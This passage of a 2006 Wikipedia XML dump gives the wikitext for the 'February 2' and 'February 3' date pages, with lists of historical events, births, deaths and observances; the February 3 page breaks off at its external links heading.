      <timestamp>2006-02-23T20:15:02Z</timestamp>
      <contributor>
        <username>Rewster</username>
        <id>262116</id>
      </contributor>
      <comment>rvv to last version by Zoicon5</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=2}}
|}
'''[[February 2]]''' is the 33rd day of the year in the [[Gregorian Calendar]].  There are 332 days remaining (333 in [[leap year]]s).
==Events==
*[[962]] - ''[[Translatio imperii]]'': [[Pope John XII]] crowns [[Otto I, Holy Roman Emperor]], the first [[Holy Roman Emperor]] in nearly 40 years.
*[[1032]] - [[Conrad II, Holy Roman Emperor]] becomes King of [[Burgundy]].
*[[1119]] - [[Pope Callixtus II|Callixtus II]] becomes [[Pope]].
*[[1509]] - [[Battle of Diu]] takes place near [[Diu]], [[India]], between [[Portugal]] and [[Turkey]].
*[[1536]] - [[Spain|Spaniard]] [[Pedro de Mendoza]] founds [[Buenos Aires]], [[Argentina]]. 
*[[1542]] - [[Portuguese people|Portuguese]] under [[Christovão da Gama]] capture a [[Moslem]]-occupied hillfort in northern [[Ethiopia]] in the [[Battle of Baçente]].
*[[1653]] - [[New Amsterdam]] (later renamed [[New York City]]) is incorporated.
*[[1709]] - [[Alexander Selkirk]] is rescued from shipwreck on a desert island, inspiring the book ''[[Robinson Crusoe]]'' by [[Daniel Defoe]].
*[[1812]] - [[Russia]] establishes a fur trading colony at [[Fort Ross]], along the [[California]] coast.
*[[1848]] - [[Mexican-American War]]: The [[Treaty of Guadalupe Hidalgo]] is signed ending the war.
*1848 - [[California Gold Rush]]: The first ship with [[China|Chinese]] emigrants seeking fortune in [[California]]'s gold country arrive in [[San Francisco, California|San Francisco]].
*[[1870]] - It is revealed that the famed [[Cardiff Giant]] was just carved [[gypsum]] and not the petrified remains of a [[human]].
*[[1876]] - The [[National League|National League of Professional Baseball Clubs]] of [[Major League Baseball]] is formed.
*[[1878]] - [[Greece]] declares war on [[Turkey]].
*[[1880]] - The first electric [[streetlight]] is installed in [[Wabash, Indiana]].
*[[1882]] - The [[Knights of Columbus]] are formed in [[New Haven, Connecticut]].
*[[1887]] - In [[Punxsutawney, Pennsylvania]] the first [[Groundhog Day]] is observed.  
*[[1897]] - The [[Pennsylvania]] state capitol is destroyed by fire.  
*[[1899]] - The [[Australia|Australian]] [[Premiers' Conference]] held in [[Melbourne]] decides to locate [[Australia]]'s capital ([[Canberra]]) between [[Sydney]] and [[Melbourne]].
*[[1920]] - [[Tartu Peace Treaty]] signed between [[Estonia]] and [[Russia]].
*1920 - [[France]] occupies [[Memel]].
*[[1925]] - [[Dog sled]]s reach [[Nome, Alaska]] with [[diphtheria]] serum, inspiring the [[Iditarod]] race.
*[[1933]] - [[Adolf Hitler]] dissolves the [[Germany|German]] [[Parliament]].
*[[1935]] - The [[polygraph machine]] is tested for the first time. [[Leonard Keeler]] conducts the experiment in [[Portage, Wisconsin]].
*[[1940]] - [[Frank Sinatra]] debuts with the [[Tommy Dorsey]] orchestra.
*[[1943]] - [[World War II]]: The last [[Germany|German]] forces surrender to the [[Soviet Union|Soviet]]s after the [[Battle of Stalingrad]].
*[[1945]] - World War II: [[President of the United States|President]] [[Franklin D. Roosevelt]] and [[Prime Minister of the United Kingdom|British Prime Minister]] [[Winston Churchill]] leave to meet with [[Soviet Union|Soviet]] leader [[Joseph Stalin]] at the [[Yalta Conference]].
*[[1952]] - A [[tropical storm]] forms north of [[Cuba]] and moves northeast making landfall in [[Florida]]. It is the earliest reported formation of a tropical storm on record in the [[Atlantic basin]].
* [[1957]] - President [[Iskander Mirza]] of [[Pakistan]] lays the foundation-stone of the [[Guddu Barrage]] across river [[river Indus|Indus]] near [[Sukkur]]. 
*[[1962]] - For the first time in 400 years [[Neptune (planet)|Neptune]] and [[Pluto (planet)|Pluto]] align.  
* [[1966]] - [[Pakistan]] suggests a six-point agenda with [[Kashmir]] dispute as number one item for the proposed [[Indo-Pak]] ministerial talks after [[Indo-Pakistani War of 1965|1965 war]].
*[[1967]] - The [[American Basketball Association]] is formed. 
*[[1971]] - After a coup in [[Uganda]], [[Idi Amin]] replaces [[President]] [[Milton Obote]] as leader.  
*[[1972]] - The [[United Kingdom|British]] [[embassy]] in [[Dublin]] is destroyed in protest over [[Bloody Sunday (1972)|Bloody Sunday]].
*[[1976]] - [[Groundhog Day gale of 1976]] hits the north-eastern [[United States]] and south-eastern [[Canada]].
*[[1979]] - [[Sid Vicious]] dies of a [[heroin]] [[overdose]].
*[[1980]] - [[Abscam]]: Reports surface that [[Federal Bureau of Investigation|FBI]] personnel were targeting members of the [[Congress of the United States|U.S. Congress]] in a [[sting operation]].  
*1980 - Founding congress of the [[Revolutionary Communist Party of Turkey]].
*[[1982]] - [[Hama Massacre]]: The government of [[Syria]] attacks the town of [[Hama]] and kills thousands of people.
*[[1986]] - [[Nurse]] [[Anita Cobby]] is found dead in a paddock in [[Prospect, New South Wales|Prospect]], a [[suburb]] of [[Sydney]], [[Australia]]. She had been robbed, raped, and murdered.  Five men ([[Micheal Murphy]], [[Gary Murphy]], [[Les Murphy]], [[Micheal Murdoch]], and [[John Travers]]) are later sentenced to life [[imprisonment]] without [[parole]] in [[June]] of [[1987]] for [[Anita Cobby]]'s murder.
*[[1989]] - [[Soviet war in Afghanistan]]: The last [[Soviet Union]] armored column leaves [[Kabul]], ending nine years of military occupation.  
*[[1990]] - [[Apartheid]]: In [[South Africa]] [[President of South Africa|President]] [[F.W. de Klerk]] allows the [[African National Congress]] to legally function again and promises to set [[Nelson Mandela]] free.
*[[1998]] - A [[Cebu Pacific Air]] [[DC-9]]-32 crashes into a mountain near [[Cagayan de Oro]], [[Philippines]], killing 104.
*[[2002]] - Wedding of Crown Prince [[Willem-Alexander]] of the Netherlands to the Argentinean born [[Máxima Zorreguieta]] in Amsterdam.
*[[2006]] - An aging [[Egyptian]] passenger ferry carrying more than 1,400 people sinks in the [[Red Sea]] off the Saudi coast.

==Births==
*[[1208]] - [[James I of Aragon]] (d. [[1276]])
*[[1455]] - King [[John of Denmark]] (d. [[1513]])
*[[1494]] - [[Bona Sforza]], queen of [[Sigismund I of Poland]] (d. [[1557]])
*[[1502]] - [[Damião de Góis]], Portuguese philosopher (d. [[1574]])
*[[1506]] - [[René de Birague]], French cardinal and chancellor (d. [[1583]])
*[[1522]] - [[Lodovico Ferrari]], Italian mathematician (d. [[1565]])
*[[1600]] - [[Gabriel Naudé]], French librarian and scholar (d. [[1653]])
*[[1613]] - [[Noël Chabanel]], French Jesuit missionary (d. [[1649]])
*[[1621]] - [[Johannes Schefferus]], Alsatian-born humanist (d. [[1679]])
*[[1649]] - [[Pope Benedict XIII]] (d. [[1730]])
*[[1650]] - [[Nell Gwynne]], English actress and royal mistress (d. [[1687]])
*[[1669]] - [[Louis Marchand]], French organist and harpsichordist (d. [[1732]])
*[[1695]] - [[William Borlase]], English naturalist (d. [[1772]])
*[[1700]] - [[Johann Christoph Gottsched]], German writer (d. [[1766]])
*[[1711]] - [[Wenzel Anton von Kaunitz]], Austrian diplomat (d. [[1794]])
*[[1714]] - [[Gottfried August Homilius]], German composer (d. [[1785]])
*[[1717]] - [[Ernst Gideon Freiherr von Laudon]], Austrian field marshal (d. [[1790]])
*[[1754]] - [[Charles Maurice de Talleyrand]], French politician (d. [[1838]])
*[[1802]] - [[Jean Baptiste Boussingault]], French chemist (d. [[1887]])
*[[1803]] - [[Albert Sidney Johnston]], American Confederate general (d. [[1862]])
*[[1829]] - [[Alfred Brehm]], German zoologist (d. [[1884]])
*[[1841]] - [[François-Alphonse Forel]], Swiss hydrologist (d. [[1912]])
*[[1875]] - [[Fritz Kreisler]], Austrian violinist (d. [[1962]])
*[[1878]] - [[Alfréd Hajós]], Hungarian swimmer (d. [[1955]])
*[[1882]] - [[James Joyce]], Irish author (d. [[1941]])
*[[1887]] - [[Ernst Hanfstängl]], German pianist and politician (d. [[1975]])
*[[1888]] - [[Frederick Lane]], Australian swimmer (d. [[1969]])
*[[1890]] - [[Charles Correll]], American actor (d. [[1972]])
*[[1893]] - [[Cornelius Lanczos]], Hungarian mathematician (d. [[1974]])
*[[1895]] - [[George Halas]], American football player, coach, and league founder (d. [[1983]])
*[[1897]] - [[Howard Deering Johnson|Howard Johnson]], American hotelier (d. [[1972]])
*[[1901]] - [[Jascha Heifetz]], Lithuanian violinist (d. [[1987]])
*[[1905]] - [[Ayn Rand]], Russian-born author (d. [[1982]])
*[[1913]] - [[Poul Reichhardt]], Danish actor (d. [[1985]])
*[[1915]] - [[Abba Eban]], Israeli diplomat (d. [[2002]])
*[[1918]] - [[Hella S. Haasse]], Dutch writer
*[[1923]] - [[James Dickey]], American poet and author (d. [[1997]])
*1923 - [[Bonita Granville]], American actress (d. [[1988]])
*1923 - [[Red Schoendienst]], baseball player and manager
*1923 - [[Liz Smith (journalist)|Liz Smith]], American gossip columnist
*[[1924]] - [[Elfi von Dassanowsky]], Austrian-American producer and musician
*[[1925]] - [[Elaine Stritch]], American actress
*[[1926]] - [[Valéry Giscard d'Estaing]], French politician
*[[1927]] - [[Stan Getz]], American musician (d. [[1991]])
*[[1928]] - [[Aloyisus Leon Higginbotham, Jr.]], civil rights activist and author
*[[1931]] - [[Dries van Agt]], Dutch politician
*1931 - [[Judith Viorst]], American author
*[[1932]] - [[Robert Mandan]], American actor
*[[1937]] - [[Tom Smothers]], American musician and comedian
*[[1940]] - [[David Jason]], English actor 
*[[1942]] - [[Christine Keeler]], British model
*1942 - [[Graham Nash]], British musician
*[[1944]] - [[Geoffrey Hughes]], British actor
*[[1947]] - [[Farrah Fawcett]], American actress
*1947 - [[Melanie Safka]], American singer
*[[1949]] - [[Brent Spiner]], American actor
*1949 - [[Ross Valory]], American musician ([[Journey (band)|Journey]])
*[[1954]] - [[Christie Brinkley]], American model
*[[1963]] - [[Eva Cassidy]], American singer (d. [[1996]])
*[[1966]] - [[Robert DeLeo]], American musician ([[Stone Temple Pilots]])
*[[1967]] - [[Arturs Irbe]], Latvian hockey player
*[[1969]] - [[Valeri Karpin]], Russian footballer
*[[1972]] - [[Dana International]], Israeli singer
*[[1975]] - [[Ieroklis Stoltidis]], Greek football player
*1975 - [[Todd Bertuzzi]], Canadian hockey player
*[[1976]] - [[James Hickman]], British swimmer
*[[1977]] - [[Shakira]], Colombian singer
*[[1983]] - [[Jordin Tootoo]], Canadian hockey player
*[[1987]] - [[Martin Spanjers]], American actor
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[1124]] - Duke [[Bořivoj II of Bohemia]]
*[[1218]] - [[Konstantin of Rostov]], Prince of Novgorod (b. [[1186]])
*[[1250]] - King [[Eric XI of Sweden]] (b. [[1216]])
*[[1461]] - [[Owen Tudor]], Welsh founder of the Tudor dynasty of England
*[[1529]] - [[Baldassare Castiglione]], Italian writer (b. [[1478]])
*[[1580]] - [[Bessho Nagaharu]], Japanese retainer (b. [[1558]])
*[[1594]] - [[Giovanni Pierluigi da Palestrina]], Italian composer (b. [[1525]])
*[[1648]] - [[George Abbot (English writer)|George Abbot]], English writer
*[[1660]] - [[Govert Flinck]], Dutch painter (b. [[1615]])
*1660 - [[Gaston, Duke of Orléans]], French politician (b. [[1608]])
*[[1661]] - [[Lucas Holstenius]], German humanist (b. [[1596]])
*[[1688]] - [[Abraham Duquesne]], French naval officer (b. [[1610]])
*[[1704]] - [[Guillaume François Antoine, Marquis de l'Hôpital]], French mathematician (b. [[1661]])
*[[1712]] - [[Martin Lister]], English naturalist and physician
*[[1714]] - [[John Sharp]], English Archbishop of Yorkshire (b. [[1643]])
*[[1768]] - [[Robert Smith (mathematician)|Robert Smith]], English mathematician (b. [[1689]])
*[[1769]] - [[Pope Clement XIII]] (b. [[1693]])
*[[1802]] - [[Welbore Ellis, 1st Baron Mendip]], British statesman (b. [[1713]])
*[[1895]] - [[Archduke Albert (1817-1895)|Archduke Albert]], Austrian general (b. [[1817]])
*[[1907]] - [[Dmitri Mendeleev]], Russian chemist (b. [[1834]])
*[[1922]] - [[William Desmond Taylor]], Irish film director (b. [[1872]])
*[[1925]] - [[Jaap Eden]], Dutch skater and cyclist (b. [[1873]])
*[[1942]] - [[Daniil Kharms]], Russian playwright (b. [[1906]])
*[[1948]] - [[Bevil Rudd]], South African athlete (b. [[1894]])
*[[1950]] - [[Constantin Carathéodory]], Greek mathematician (b. [[1873]])
*[[1956]] - [[Charles Grapewin]], American actor (b. [[1869]])
*[[1957]] - [[Grigory Landsberg]], Russian physicist (b. [[1890]])
*[[1969]] - [[Boris Karloff]], English actor (b. [[1887]])
*[[1970]] - [[Bertrand Russell]], British mathematician and philosopher, recipient of the [[Nobel Prize in Literature]] (b. [[1872]])
*[[1979]] - [[Sid Vicious]], English musician ([[Sex Pistols]]) (b. [[1957]])
*[[1980]] - [[William Howard Stein]], American chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1911]])
*[[1987]] - [[Carlos José Castilho|Castilho]], Brazilian footballer (b. [[1927]])
*1987 - [[Alistair MacLean]], Scottish novelist (b. [[1922]])
*[[1992]] - [[Bert Parks]], American television host (b. [[1914]])
*[[1995]] - [[Donald Pleasence]], English actor (b. [[1919]])
*[[1996]] - [[Gene Kelly]], American dancer, actor, and director (b. [[1912]])
*[[1997]] - [[Sanford Meisner]], American actor (b. [[1904]])
*1997 - [[Erich Eliskases]], Austrian chess player (b. [[1913]])
*[[2003]] - [[Lou Harrison]], American composer (b. [[1917]])
*[[2004]] - [[Bernard McEveety]], American film director (b. [[1924]])
*[[2005]] - [[Max Schmeling]], German boxer (b. [[1905]])
&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
* Ancient [[Latvia]] - [[Veja Diena]] observed.
* [[Catholicism]] - [[Candlemas]], [[The Presentation of the Lord]], [[The Purification of the Blessed Virgin Mary]], [[World Day for Consecrated Life]] (also [[February 3]] in the [[United States]]).
* [[France]] - [[Crêpe Day]].
* [[Paganism]] - [[Imbolc]] (in [[northern hemisphere]]), [[Lughnasadh]] (in [[southern hemisphere]]).
* [[Scotland]] - A [[quarter day]] in the [[Christian calendar]] (due to [[Candlemas]]).
* [[United States]] and [[Canada]] - [[Groundhog Day]].
* [[Czech Republic]] - [[Hromnice]].

==External links==
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=02 On this day in Canada]
* [http://www.nytimes.com/learning/general/onthisday/20060202.html NY Times: On this day]
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/2 BBC: On This Day]

----
[[February 1]] - [[February 3]] - [[January 2]] - [[March 2]] -- [[Historical anniversaries|listing of all days]]

{{months}}

[[Category:Days|February 02]]
[[Category:Days]]

[[af:2 Februarie]]
[[ar:2 فبراير]]
[[an:2 de frebero]]
[[ast:2 de febreru]]
[[bg:2 февруари]]
[[be:2 лютага]]
[[bs:2. februar]]
[[ca:2 de febrer]]
[[ceb:Pebrero 2]]
[[cv:Нарăс, 2]]
[[co:2 di frivaghju]]
[[cs:2. únor]]
[[cy:2 Chwefror]]
[[da:2. februar]]
[[de:2. Februar]]
[[et:2. veebruar]]
[[el:2 Φεβρουαρίου]]
[[es:2 de febrero]]
[[eo:2-a de februaro]]
[[eu:Otsailaren 2]]
[[fo:2. februar]]
[[fr:2 février]]
[[fy:2 febrewaris]]
[[ga:2 Feabhra]]
[[gl:2 de febreiro]]
[[ko:2월 2일]]
[[hr:2. veljače]]
[[io:2 di februaro]]
[[id:2 Februari]]
[[ia:2 de februario]]
[[ie:2 februar]]
[[is:2. febrúar]]
[[it:2 febbraio]]
[[he:2 בפברואר]]
[[jv:2 Februari]]
[[ka:2 თებერვალი]]
[[csb:2 gromicznika]]
[[ku:2'ê reşemiyê]]
[[lt:Vasario 2]]
[[lb:2. Februar]]
[[hu:Február 2]]
[[mk:2 февруари]]
[[mr:फेब्रुवारी २]]
[[ms:2 Februari]]
[[nap:2 'e frevaro]]
[[nl:2 februari]]
[[ja:2月2日]]
[[no:2. februar]]
[[nn:2. februar]]
[[oc:2 de febrièr]]
[[pl:2 lutego]]
[[pt:2 de Fevereiro]]
[[ro:2 februarie]]
[[ru:2 февраля]]
[[se:Guovvamánu 2.]]
[[sco:2 Februar]]
[[sq:2 Shkurt]]
[[scn:2 di frivaru]]
[[simple:February 2]]
[[sk:2. február]]
[[sl:2. februar]]
[[sr:2. фебруар]]
[[fi:2. helmikuuta]]
[[sv:2 februari]]
[[tl:Pebrero 2]]
[[tt:2. Febräl]]
[[te:ఫిబ్రవరి 2]]
[[th:2 กุมภาพันธ์]]
[[vi:2 tháng 2]]
[[tr:2 Şubat]]
[[uk:2 лютого]]
[[wa:2 d' fevrî]]
[[war:Pebrero 2]]
[[zh:2月2日]]
[[pam:Pebreru 2]]</text>
    </revision>
  </page>
  <page>
    <title>February 3</title>
    <id>11323</id>
    <revision>
      <id>41619846</id>
      <timestamp>2006-02-28T15:47:30Z</timestamp>
      <contributor>
        <username>Edinborgarstefan</username>
        <id>302200</id>
      </contributor>
      <comment>/* Holidays and observances */ fix disambig</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=3}}
|}
'''February 3''' is the 34th day of the year in the [[Gregorian Calendar]].  There are 331 days remaining, (332 in [[leap year]]s). 

In the [[Northern hemisphere]], there are 88 days in [[Winter solstice|winter]] (in a non-leap year). We are considered halfway through winter on [[February 3]].

==Events==
*[[1451]] - [[Sultan]] [[Mehmed II]] inherits the throne of the [[Ottoman Empire]]. 
*[[1488]] - [[Bartolomeu Dias]] of [[Portugal]] lands in [[Mossel Bay]] after rounding the [[Cape of Good Hope]] at the tip of [[Africa]], becoming the first known [[Europe]]an to travel this far south.  
*[[1690]] - The colony of [[Massachusetts]] issues the first [[paper money]] in [[Americas|America]].
*[[1783]] - [[American Revolutionary War]]: [[Spain]] recognizes [[United States]] independence.
*[[1787]] - [[Shays' Rebellion]] is crushed, ending an uprising that would prompt negotiations that would result in the drafting of the [[Constitution of the United States]].
*[[1809]] - [[Illinois Territory]] is created.  
*[[1815]] - The first commercial [[cheese]] factory is founded ([[Switzerland]]).
*[[1867]] - [[Emperor Meiji of Japan|Prince Mutsuhito]] becomes [[Emperor Meiji of Japan]].
*[[1870]] - The [[Fifteenth Amendment to the United States Constitution|15th Amendment]] to the [[United States Constitution]] is passed.
*[[1900]] - Gubernatorial candidate [[William Goebel]] is assassinated in [[Frankfort, Kentucky]]. Former [[Secretary of State]] [[Caleb Powers]] was later found guilty in a conspiracy to kill Goebel.  
*[[1913]] - The [[16th Amendment to the United States Constitution]] is ratified, authorizing the [[Federal government]] to impose and collect [[income tax]].  
*[[1916]] - [[Parliament of Canada|Parliament]] buildings in [[Ottawa, Ontario|Ottawa]], [[Canada]] burn down.  
*[[1917]] - [[World War I]]: The [[United States]] breaks off diplomatic relations with [[Germany]] a day after [[Germany]] announces a new policy of unrestricted [[submarine]] warfare.  
*[[1918]] - The [[Twin Peaks Tunnel]] begins service as the longest [[streetcar]] tunnel in the world at 11,920 feet (3,633 meters) long).  
*[[1931]] - The [[Napier earthquake]], [[New Zealand]]'s worst natural disaster, kills 258. 
*[[1941]] - [[World War II]]: The [[Nazis]] forcibly restore [[Pierre Laval]] to office in occupied [[Vichy]], [[France]].
*[[1944]] - [[United States]] troops capture the [[Marshall Islands]].
*[[1945]] - [[World War II]]: [[Soviet Union]] agrees to enter the [[Pacific Theatre]] conflict against [[Japan]].  
*[[1947]] - [[Percival Prattis]] becomes the first [[African American]] news correspondent allowed in the [[United States House of Representatives|United States House]] and [[United States Senate|Senate]] press gallery.
*[[1947]] - Coldest ever temperature recorded in North America at [[Snag, Yukon]], -63 degrees [[Celsius]]
*[[1951]] - [[Dick Button]] wins the [[United States|American]] [[figure skating]] championship for the fourth consecutive time. 
*[[1952]] - The earliest known [[tropical storm]] makes landfall in [[South Florida]]. 
*[[1957]] - [[Senegal]]ese [[political party]] [[Democratic Rally (Senegal)|Democratic Rally]] merges into the [[Senegalese Party of Socialist Action]] (PSAS).
*[[1959]] - [[The Day The Music Died]]: A [[Accidents and incidents in aviation|plane crash]] kills rock-and-roll performers [[Buddy Holly]], [[Ritchie Valens]], and [[The Big Bopper]].
*[[1966]] - The unmanned [[Soviet Union|Soviet]] [[Luna 9]] spacecraft makes the first controlled rocket-assisted landing on the [[Moon]].
*[[1967]] - [[Ronald Ryan]], the last person to be executed in [[Australia]], is hanged in [[Pentridge Prison]], [[Melbourne]].  
*[[1969]] - In [[Cairo]], [[Yasser Arafat]] is appointed [[Palestinian Liberation Organization]] leader at the [[Palestinian National Congress]].  
*[[1972]] - The first [[1972 Winter Olympics|Winter Olympics]] to be held in [[Asia]] open in [[Sapporo]], [[Japan]]. 
*[[1979]] - First episode of [[You Can't Do That On Television]] premieres.  
*[[1984]] - Astronauts from [[Space Shuttle Challenger]] make first untethered spacewalk.
*[[1988]] - [[Iran-Contra Affair]]: The [[United States House of Representatives]] rejects [[President of the United States|President]] [[Ronald Reagan]]'s request for $36.25 million to aid [[Nicaragua]]n [[Contras]].  
*[[1989]] - After a [[stroke]], [[Pieter Willem Botha|P.W. Botha]] resigns party leadership and the presidency of [[South Africa]].
*[[1997]] - Sixth [[General election|general elections]] held in [[Pakistan]] under [[Constitution of Pakistan#The Constitution of 1973|1973 constitution]].  
*[[1998]] - [[Karla Faye Tucker]] is executed in [[Texas]] becoming the first woman executed in the [[United States]] since [[1984]].  
*1998 - [[Cavalese cable-car disaster]]: a [[United States Military]] pilot causes the death of 20 people when his low-flying plane cuts the cable of a cable-car near [[Trento]], [[Italy]].
*[[1999]] - In [[Jammu &amp; Kashmir]] the [[political party]] [[Democratic Janata Dal (Jammu and Kashmir)]] is revived.
*[[2002]] - [[Super Bowl XXXVI]]: The [[New England Patriots]] defeat the [[St. Louis Rams]], 20-17, to win their first [[Super Bowl]] championship.
*[[2006]] - Actor [[Robert Blake]] files for bankruptcy.  This is a direct result of Blake being liable for $30 million in damages after a civil court found him liable for his wife's death.

==Births==
*[[1338]] - [[Jeanne de Bourbon]], queen of [[Charles V of France]] (d. [[1378]])
*[[1677]] - [[Jan Santini Aichel]], Czech architect (d. [[1723]])
*[[1690]] - [[Richard Rawlinson]], English minister and antiquarian (d. [[1755]])
*[[1721]] - [[Friedrich Wilhelm von Seydlitz]], Prussian general (d. [[1773]])
*[[1754]] - [[George Crabbe]], English poet and naturalist (d. [[1832]])
*[[1809]] - [[Felix Mendelssohn]], German composer (d. [[1847]])
*[[1811]] - [[Horace Greeley]], American journalist, editor, and publisher (d. [[1872]])
*[[1817]] - [[Achille Ernest Oscar Joseph Delesse]], French geologist (d. [[1881]])
*[[1821]] - [[Elizabeth Blackwell]], American physician (d. [[1910]])
*[[1830]] - [[Robert Arthur Talbot Gascoyne-Cecil, 3rd Marquess of Salisbury]], [[Prime Minister of the United Kingdom]] (d. [[1903]])
*[[1842]] - [[Sidney Lanier]], American writer (d. [[1881]])
*[[1859]] - [[Hugo Junkers]], German industrialist and aircraft designer (d. [[1935]])
*[[1862]] - [[James Clark McReynolds]], U.S. Supreme Court Justice (d. [[1946]])
*[[1874]] - [[Gertrude Stein]], American writer and patron of the arts (d. [[1946]])
*[[1887]] - [[Juan Negrín]], Spanish [[Popular Front (Spain)|Popular Front]] politician and Prime Minister (d. [[1956]])
*1887 - [[Georg Trakl]], Austrian poet (d. [[1914]])
*[[1893]] - [[Gaston Julia]], French mathematician (d. [[1978]])
*[[1894]] - [[Norman Rockwell]], American artist, illustrator (d. [[1978]])
*[[1898]] - [[Alvar Aalto]], Finnish architect (d. [[1976]])
*[[1899]] - [[Lao She]], Chinese writer (d. [[1966]])
*[[1904]] - [[Luigi Dallapiccola]], Italian composer (d. [[1975]])
*1904 - [[Pretty Boy Floyd]], American gangster (d. [[1934]])
*[[1907]] - [[James Michener]], American author (d. [[1997]])
*[[1909]] - [[Simone Weil]], French philosopher (d. [[1943]])
*[[1911]] - [[Robert Earl Jones]], American actor
*[[1918]] - [[Joey Bishop]], American comedian and actor
*1918 - [[Helen Stephens]], American runner
*[[1920]] - [[Henry Heimlich]], American physician
*[[1925]] - [[John Fiedler]], American voice actor
*[[1926]] - [[Shelley Berman]], American comedian
*[[1927]] - [[Val Doonican]], Irish singer and entertainer
*[[1930]] - [[Gillian Ayres]], English painter
*[[1932]] - [[Peggy Ann Garner]], American actress (d. [[1984]])
*[[1933]] - [[Paul Sarbanes]], U.S. Senator
*[[1938]] - [[Victor Buono]], American actor (d. [[1982]])
*[[1939]] - [[Michael Cimino]], American film director
*[[1940]] - [[Fran Tarkenton]], American football player
*[[1941]] - [[Neil Bogart]], music company executive (d. [[1982]])
*[[1943]] - [[Blythe Danner]], American actress
*1943 - [[Dennis Edwards]], American singer ([[The Temptations]])
*[[1945]] - [[Bob Griese]], American football player
*[[1947]] - [[Paul Auster]], American novelist
*1947 - [[Dave Davies]], British musician ([[The Kinks]])
*1947 - [[Melanie Safka]], American singer-songwriter
*[[1948]] - [[Carlos Felipe Ximenes Belo]], East Timor politician, recipient of the [[Nobel Peace Prize]]
*[[1948]] - [[Henning Mankell]], Swedish Author
*[[1949]] - [[Hennie Kuiper]], Dutch cyclist, World Champion in 1975
*[[1950]] - [[Morgan Fairchild]], American actress
*1950 - [[Pamela Franklin]], American actress
*[[1952]] - [[Fred Lynn]], baseball player
*[[1954]] - [[Tiger Williams]], Canadian ice hockey players
*[[1955]] - [[Stephen Euin Cobb]], American novelist
*1955 - [[Kirsty Wark]], British broadcast journalist
*[[1956]] - [[Nathan Lane]], American actor
*1956 - [[Lee Ranaldo]], American musician ([[Sonic Youth]])
*[[1958]] - [[N. Gregory Mankiw]], American economist
*[[1959]] - [[Thomas Calabro]], American actor
*1959 - [[Laurence Tolhurst]], British musician ([[The Cure]])
*[[1960]] - [[Kerry Von Erich]], American professional wrestler (d. [[1993]])
*[[1961]] - [[Keith Gordon]], American actor and director
*[[1965]] - [[Maura Tierney]], American actress
*[[1970]] - [[Warwick Davis]], British actor
*[[1971]] - [[Sarah Kane]], English playwright (d. [[1999]])
*[[1972]] - [[Mart Poom]], Estonian soccer player
*[[1974]] - [[Miriam Yeung]], Hong Kong actress and singer
*[[1976]] - [[Isla Fisher]], Australian actress
*1976 - [[Dwayne Rudd]], former American football player
*[[1977]] - [[Spencer Presley]], Great all around American
*[[1980]] - [[Sarah Lewitinn]], American writer and DJ
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[619]] - [[Laurence of Canterbury]], second [[Archbishop of Canterbury]]
*[[699]] - Saint [[Werburgh]]
*[[1014]] - King [[Sweyn I of Denmark]]
*[[1116]] - King [[Coloman of Hungary]] (b. [[1070]])
*[[1399]] - [[John of Gaunt, 1st Duke of Lancaster]] (b. [[1340]])
*[[1428]] - [[Ashikaga Yoshimochi]], Japanese shogun (b. [[1386]])
*[[1451]] - [[Murad II]], [[Ottoman Sultan]] (b. [[1404]])
*[[1468]] - [[Johannes Gutenberg]], German publisher
*[[1566]] - [[George Cassander]], Flemish theologian (b. [[1513]])
*[[1619]] - [[Henry Brooke, 8th Baron Cobham]], English conspirator (b. [[1564]])
*[[1737]] - [[Tommaso Ceva]], italien mathematician (b. [[1648]])
*[[1802]] - [[Pedro Rodríguez, Conde de Campomanes]], Spanish statesman and writer (b. [[1723]])
*[[1862]] - [[Jean-Baptiste Biot]], French physicist (b. [[1774]])
*[[1889]] - [[Belle Starr]], American outlaw (b. [[1848]])
*[[1922]] - [[John Butler Yeats]], Northern Irish artist (b. [[1839]])
*[[1924]] - [[Woodrow Wilson]], [[President of the United States]], recipient of the [[Nobel Peace Prize]] (b. [[1856]])
*[[1956]] - [[Émile Borel]], French mathematician, politician, statesman, and resistance figher (b. [[1871]])
*[[1959]] - Also known as [[The Day the Music Died]] because of the deaths of:
**[[The Big Bopper]], American singer (b. [[1930]])
**[[Buddy Holly]], American singer (b. [[1936]])
**[[Ritchie Valens]], American singer (b. [[1941]]) 
*[[1960]] - [[Fred Buscaglione]], Italian singer and actor (b. [[1921]])
*[[1964]] - Sir [[Albert Richardson]], English architect (b. [[1880]])
*[[1967]] - [[Joe Meek]], English record producer (b. [[1929]])
*[[1985]] - [[Frank Oppenheimer]], American physicist (b. [[1912]])
*[[1989]] - [[John Cassavetes]], American actor, director, and writer (b. [[1929]])
*[[1991]] - [[Nancy Kulp]], American actress (b. [[1921]])
*[[1996]] - [[Audrey Meadows]], American actress (b. [[1926]])
*[[1998]] - [[Karla Faye Tucker]], American murderer (b. [[1959]])
*[[2000]] - [[Richard Kleindienst]], American politician (b. [[1923]])
*[[2003]] - [[Lana Clarkson]], American actress (murdered) (b. [[1962]])
*2003 - [[Kid Gavilan]], Cuban boxer (b. [[1926]])
*[[2005]] - [[Corrado Cardinal Bafile]], Italian Catholic cardinal (b. [[1903]])
*2005 - [[Ernst Mayr]], German-born biologist (b. [[1904]])
*2005 - [[Zurab Zhvania]], [[Prime Minister of Georgia]] (b. [[1963]])
*[[2006]]- [[Al Lewis]], American actor (b. 1923)
&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
* [[Saint Blaise]] [[Roman Catholics]] visit churches to have their throats blessed.
* [[Boy Scouts of America|Boy Scout]] Sunday; this could be any Sunday during the month.  It varies by unit and locale.  Scouts go to their places of worship in uniform and help with the service.
* Feast day of [[Saint Werburgh]].
* [[Japan]] - the festival of [[Setsubun]] before spring.
* [[Mozambique]] - [[Heroes' Day]].
* [[United States]] - [[Four Chaplains]] Day.

==External links==
